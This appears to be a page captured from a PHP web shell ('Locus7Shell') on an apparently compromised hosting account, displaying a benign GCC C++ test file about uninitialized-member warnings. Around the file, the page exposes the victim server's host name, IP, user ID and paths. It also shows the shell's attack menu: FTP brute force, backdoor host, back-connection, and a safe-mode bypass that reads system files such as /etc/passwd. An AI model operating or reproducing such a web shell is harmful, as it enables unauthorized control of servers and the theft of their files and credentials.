Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/warn/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Wuninitialized-15.C (2.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// PR c++/19808
// { dg-do compile { target c++11 } }
// { dg-options "-Wuninitialized -Winit-self" }
// Largely copied from clang's test/SemaCXX/uninitialized.cpp.

int x;
struct U {
  U() : b(a) { }
  int &a = x;
  int &b;
};

struct T {
  T() : a(b), b(a) { } // { dg-warning "reference .T::b. is not yet bound" }
  int &a, &b;
};

struct S {
  S() : a(a) { } // { dg-warning ".S::a. is initialized with itself" }
  int &a;
};

struct A {
  int a;
  int b;
  A() { }
  A(int (*)[1]) : b(a) { } // { dg-warning ".A::a. is used uninitialized" }
  A(int (*)[2]) : a(b) { } // { dg-warning ".A::b. is used uninitialized" }
};

struct D {
  int a;
  int &b;
  int &c = a;
  int d = b;
  D() : b(a) { }
};

struct E {
  int a;
  int get();
  static int num();
  E() { }
  E(int) { }
};

struct F {
  int a;
  E e;
  int b;
  F(int (*)[1]) : a(e.get()) { } // { dg-warning "member .F::e. is used uninitialized" }
  F(int (*)[2]) : a(e.num()) { }
  F(int (*)[3]) : e(a) { } // { dg-warning "member .F::a. is used uninitialized" }
  F(int (*)[4]) : a(4), e(a) { }
  F(int (*)[5]) : e(b) { } // { dg-warning "member .F::b. is used uninitialized" }
  F(int (*)[6]) : e(b), b(4) { } // { dg-warning "member .F::b. is used uninitialized" }
};

struct G {
  G(const A&) { };
};

struct H {
  A a1;
  G g;
  A a2;
  H() : g(a1) { }
  // ??? clang++ doesn't warn here
  H(int) : g(a2) { } // { dg-warning "member .H::a2. is used uninitialized" }
};

struct I {
  I(int *) { }
};

struct J : I {
  int *a;
  int *b;
  int c;
  J() : I((a = new int(5))), b(a), c(*a) { }
};

struct M { };

struct N : public M {
  int a;
  int b;
  N() : b(a) { } // { dg-warning "member .N::a. is used uninitialized" }
};

struct O {
  int x = 42;
  int get() { return x; }
};

struct P {
  O o;
  int x = o.get();
  P() : x(o.get()) { }
};

struct Q {
  int a;
  int b;
  int &c;
  Q() :
    a(c = 5), // "reference .Q::c. is not yet bound" but too complex for the FE
    b(c), // "reference .Q::c. is not yet bound" but too complex for the FE
    c(a) { }
};

struct R {
  int a;
  int b;
  int c;
  int d = a + b + c;
  R() : a(c = 5), b(c), c(a) { }
};

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0051 ]--